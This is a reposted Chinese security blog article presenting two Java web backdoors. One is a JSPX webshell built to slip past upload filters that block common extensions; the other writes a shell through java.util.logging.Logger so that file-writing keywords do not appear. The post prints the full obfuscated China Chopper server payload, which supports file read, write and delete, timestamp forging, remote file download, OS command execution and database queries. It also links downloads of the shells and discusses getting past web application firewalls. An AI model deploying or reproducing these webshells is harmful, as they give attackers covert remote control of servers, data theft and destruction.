两种“新型”的javaweb后门(jspx和Java Logger)

admin 2021年4月3日19:14:35评论119 views字数 9340阅读31分8秒阅读模式

关于JavaWeb后门问题一直以来都比较少,而比较新奇的后门更少。在这里我分享两个我最近搞的比较有意思的JavaWeb后门给大家玩。一个常见或者比较普通的后门很容易就会被拦截或者被发现,但不知道有朋友了解下面两种后门没?

1:jspx后门

在如今的web应用当中如果想直接传个jsp已经变得比较难了,但是如果只限制了asp、php、jsp、aspx等这些常见的后缀应该怎样去突破呢?我在读tomcat的配置文件的时候看到jsp和jspx都是由org.apache.jasper.servlet.JspServlet处理,于是想构建一个jspx的webshell。经过反复的折腾,一个jspx的后门就粗线了。测试应该是java的所有的server都默认支持。

Tomcat的conf/web.xml下的配置:

jsporg.apache.jasper.servlet.JspServletforkfalsexpoweredByfalse3jsp*.jsp*.jspx

关于jspx的资料网上并不多,官网给的文档也不清楚,搞的模模糊糊的。怎么去玩jspx大家可以看下官网的demo,或者参考一些文章。

http://jspx-bay.sourceforge.net

关于 jspx 文件的一些说明

重点在于把Jsp里面的一些标记转换成xml支持的格式,比如:

        xmlns:prefix="tag library URL"
     ..  .. 

知道可以用标记表示那么做起来就很简单了,直接把标记换下是非常容易做的。所以写个简单的shell一个就很简单了,但是如果想知道具体有那些标签或者说跟jsp里面的有那些不同怎么办呢?下面我简单的做了下对比(前面是jsp的代码提示,后面是jspx):

照着提示翻译下得知表示jsp里面的需要用:标签去替换就行了。

其他重要提醒:

在jspx里面遵循xml语法所以直接在jsp:declaration或者jsp:scriptlet标签内写""这样的符号是不行的,需要转意(不转意会报编译错误,猜了下只需要把转成< >就行了)。

jspx后门的具体实现代码:


    RandomAccessFile rf = new RandomAccessFile(request.getRealPath("/")+request.getParameter("f"), "rw");
     rf.write(request.getParameter("t").getBytes());
    rf.close();
  

jspx实现的我之前发的菜刀最终版:

直接用菜刀连接:http://localhost:8080/jspx.jspx

String Pwd="023";String cs="UTF-8";String EC(String s)throws Exception{return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s)throws Exception{String[] x=s.trim().split("rn");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if(x.length>4){c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT,sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0; i<l.length; i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ +=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/t"+sT+"t"+l[i].length()+"t"+sQ+"n");}else{sF+=l[i].getName()+"t"+sT+"t"+l[i].length()+"t"+sQ+"n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0; k < x.length; k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0; i<d.length();i+=2){os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0; j<z.length; j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s,String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection) u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is,StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"rn");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] x=s.trim().split("rn");ResultSet r=c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null,"%",new String[]{"TABLE"});while(r.next()){sb.append(r.getString("TABLE_NAME")+"t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("rn");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[x.length-1]);ResultSetMetaData d=r.getMetaData();for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")t");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb,String p)throws Exception{Connection c=GC(s);Statement m=c.createStatement(1005,1008);BufferedWriter bw=null;try{ResultSet r=m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(int i=1; i <=n; i++){sb.append(d.getColumnName(i)+"t|t");}sb.append("rn");if(q.indexOf("--f:")!=-1){File file=new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:")+4,q.length()).trim()),true),cs));}while(r.next()){for(int i=1; i<=n;i++){if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"t");bw.flush();}else{sb.append(r.getObject(i)+""+"t|t");}}if(bw!=null){bw.newLine();}sb.append("rn");}r.close();if(bw!=null){bw.close();}}catch(Exception e){sb.append("Resultt|trn");try{m.executeUpdate(q);sb.append("Execute Successfully!t|trn");}catch(Exception ee){sb.append(ee.toString()+"t|trn");}}m.close();c.close();}cs=request.getParameter("z0")!=null?request.getParameter("z0")+"":cs;response.setContentType("text/html");response.setCharacterEncoding(cs);StringBuffer sb=new StringBuffer("");try{String Z=EC(request.getParameter(Pwd)+"");String z1=EC(request.getParameter("z1")+"");String z2=EC(request.getParameter("z2")+"");sb.append("->"+"|");String s=request.getSession().getServletContext().getRealPath("/");if(Z.equals("A")){sb.append(s+"t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"rn");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\","/")+"images/");}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());

最终版的使用说明:http://xsser.me/caidao/1.txt

上面的jspx.jspx下载地址:http://xsser.me/caidao/jspx.jspx

2:用Java Logger(日志)留后门

某些场景下shell可能被过滤掉了,但是利用一些有趣的东东可以绕过,比如不用new File这样的方式去写文件,甚至是尽可能的不要出现File关键字。

看了下java.util.logging.Logger挺有意思的,可以写日志文件,于是试了下用这样的方式去写一个shell,结果成功了。

java.util.logging.Logger默认输出的格式是xml,但这都不是事,直接格式化下日志以text方式输出就行了。

新建2.jsp并访问:


其他略特殊点的文件读写Demo:

new FileOutputStream
  new FileOutputStream("d:/sb.txt").write(new String("123").getBytes());
new DataOutputStream
  new DataOutputStream(new FileOutputStream("d:/1x.txt")).write(new String("123").getBytes());


FileWriter fw = new FileWriter("d:/3.txt");
    fw.write("21");
    fw.flush();
    fw.close();

RandomAccessFile rf = new RandomAccessFile("d:/14.txt", "rw");
    rf.write(new String("3b").getBytes());
    rf.close();

GetShell.htm:

jsp-yzmm
URL:   FileName:   Upload

http://xsser.me/caidao/getshell-by-logger.jsp

http://xsser.me/caidao/getshell-by-logger.txt

[原文地址]

留言评论(旧系统):

flowind @ 2013-10-12 12:46:10

上传不是关键 绕过web防火墙检测才是关键.

本站回复:

╮(╯_╰)╭

文章来源于lcx.cc:两种“新型”的javaweb后门(jspx和Java Logger)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:14:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   两种“新型”的javaweb后门(jspx和Java Logger)http://cn-sec.com/archives/320336.html

发表评论

匿名网友 填写信息